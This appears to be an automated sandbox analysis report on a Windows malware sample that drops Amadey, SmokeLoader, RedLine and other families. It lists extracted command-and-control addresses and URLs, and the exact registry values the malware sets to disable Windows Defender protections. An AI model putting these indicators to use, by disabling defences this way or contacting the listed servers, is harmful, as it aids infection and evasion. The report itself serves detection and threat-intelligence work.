amadey | 2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f

Analysis

max time kernel
178s
max time network
198s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
11-10-2023 11:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe
Size

255KB
MD5

1e88f04a5b30a87ce2bdb4d09448287c
SHA1

e84f1a493a53fd9006f898ce05d7faa7b28ab00d
SHA256

2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f
SHA512

f077727bb680febf4310f404fac779c065c15cfcc4bdb74f1b855b8643273178981bf3b64278fb23a6a5b97a7281a10ac15e9d8df2a6dbac65c2659f540de011
SSDEEP

6144:vCoNma/0Gm8XTX/lbXat6ULk+j5cNAOI1P1wE9DIan5:qVasGm8DX/8CGh1wcMs

Malware Config

Extracted

Family

smokeloader

Version

2022

http://77.91.68.29/fks/

rc4.i32

Extracted

Family

amadey

Version

3.89

http://77.91.124.1/theme/index.php

Attributes

install_dir
fefffe8cea
install_file
explothe.exe
strings_key
36a96139c1118a354edf72b1080d4b2f

rc4.plain

Extracted

Family

redline

Botnet

breha

77.91.124.55:19071

Extracted

Family

redline

Botnet

6012068394_99

https://pastebin.com/raw/8baCJyMF

Extracted

Family

redline

Botnet

pixelscloud

85.209.176.171:80

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

redline

Botnet

@ytlogsbot

185.216.70.238:37515

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Detected google phishing page
phishing google

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral1/memory/3980-68-0x0000000000DC0000-0x0000000000DCA000-memory.dmp	healer
behavioral1/files/0x000700000001b037-67.dat	healer
behavioral1/files/0x000700000001b037-66.dat	healer

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 2 IoCs

resource	yara_rule
behavioral1/memory/1600-706-0x0000000004FD0000-0x00000000058BB000-memory.dmp	family_glupteba
behavioral1/memory/1600-726-0x0000000000400000-0x0000000002FB4000-memory.dmp	family_glupteba

Healer
Healer an antivirus disabler dropper.
dropper healer

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	F00C.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	F00C.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	F00C.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	F00C.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	F00C.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

resource	yara_rule
behavioral1/memory/4496-82-0x0000000000400000-0x000000000043E000-memory.dmp	family_redline
behavioral1/memory/1144-499-0x00000000020F0000-0x000000000214A000-memory.dmp	family_redline
behavioral1/files/0x000700000001b0ae-549.dat	family_redline
behavioral1/files/0x000700000001b0ae-562.dat	family_redline
behavioral1/memory/2480-564-0x0000000000AE0000-0x0000000000AFE000-memory.dmp	family_redline
behavioral1/memory/1400-607-0x00000000001B0000-0x0000000000308000-memory.dmp	family_redline
behavioral1/memory/1400-614-0x00000000001B0000-0x0000000000308000-memory.dmp	family_redline
behavioral1/memory/1400-622-0x00000000001B0000-0x0000000000308000-memory.dmp	family_redline
behavioral1/memory/992-633-0x0000000000390000-0x00000000003CE000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000700000001b0ae-549.dat	family_sectoprat
behavioral1/files/0x000700000001b0ae-562.dat	family_sectoprat
behavioral1/memory/2480-564-0x0000000000AE0000-0x0000000000AFE000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 4896 created 3092	4896	latestX.exe	48
PID 4896 created 3092	4896	latestX.exe	48
PID 4896 created 3092	4896	latestX.exe	48
PID 4896 created 3092	4896	latestX.exe	48

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 27 IoCs

pid	Process
4492	E29B.exe
4772	oo7DB5sS.exe
1584	E76E.exe
1696	tw7ns1ae.exe
4168	E859.bat
3900	tj4Ai9Tv.exe
232	Ii5Vj5An.exe
4968	1ux87Zx4.exe
5032	EEC3.exe
3980	F00C.exe
3948	F405.exe
2264	explothe.exe
1524	34B8.exe
1144	3A47.exe
824	6475.exe
2768	toolspub2.exe
2480	68DB.exe
1400	8B0A.exe
1600	31839b57a4f11171d6abc8bbc4451ee4.exe
4300	kos1.exe
4896	latestX.exe
2716	set16.exe
2244	explothe.exe
2912	kos.exe
4944	is-R1LQL.tmp
5552	previewer.exe
5708	previewer.exe

Loads dropped DLL 4 IoCs

pid	Process
4640	rundll32.exe
4944	is-R1LQL.tmp
4944	is-R1LQL.tmp
4944	is-R1LQL.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	F00C.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	tj4Ai9Tv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Ii5Vj5An.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	E29B.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	oo7DB5sS.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	tw7ns1ae.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3252 set thread context of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 1584 set thread context of 3544	1584	E76E.exe	91
PID 4968 set thread context of 4212	4968	1ux87Zx4.exe	95
PID 5032 set thread context of 4496	5032	EEC3.exe	93
PID 1400 set thread context of 992	1400	8B0A.exe	128

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PA Previewer\is-H2OAK.tmp	is-R1LQL.tmp
File created	C:\Program Files (x86)\PA Previewer\is-M6IA3.tmp	is-R1LQL.tmp
File created	C:\Program Files (x86)\PA Previewer\is-HHR3K.tmp	is-R1LQL.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\unins000.dat	is-R1LQL.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\previewer.exe	is-R1LQL.tmp
File created	C:\Program Files (x86)\PA Previewer\unins000.dat	is-R1LQL.tmp
File created	C:\Program Files (x86)\PA Previewer\is-L03NC.tmp	is-R1LQL.tmp

Drops file in Windows directory 11 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5520	sc.exe
5432	sc.exe
5420	sc.exe
5344	sc.exe
5160	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1264	3252	WerFault.exe	69
2276	1584	WerFault.exe	76
4760	5032	WerFault.exe	87
4240	4968	WerFault.exe	82

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3952	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3fc608a73afcd901	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify.	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3816c5c53afcd901	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = cacb18c43afcd901	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = c0e4d30f6dfcd901	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 70a73fd23afcd901	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7e6b5aa13afcd901	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
